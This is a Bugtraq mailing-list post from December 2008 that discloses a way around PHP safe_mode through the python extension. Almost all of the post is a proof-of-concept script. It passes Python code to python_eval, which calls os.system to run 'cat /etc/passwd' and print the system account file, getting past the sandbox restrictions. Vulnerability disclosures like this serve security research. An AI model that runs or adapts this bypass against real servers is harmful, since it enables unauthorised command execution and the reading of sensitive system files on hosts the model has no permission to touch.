[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
php python extension safe_mode bypass
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: php python extension safe_mode bypass
- From: amir@xxxxxxxxxx
- Date: Wed, 17 Dec 2008 18:52:47 -0700
<?php
/*
php_python_bypass.php
php python extension safe_mode bypass
Amir Salmani - amir[at]salmani[dot]ir
*/
//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");
//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');
//show result
echo $res;
?>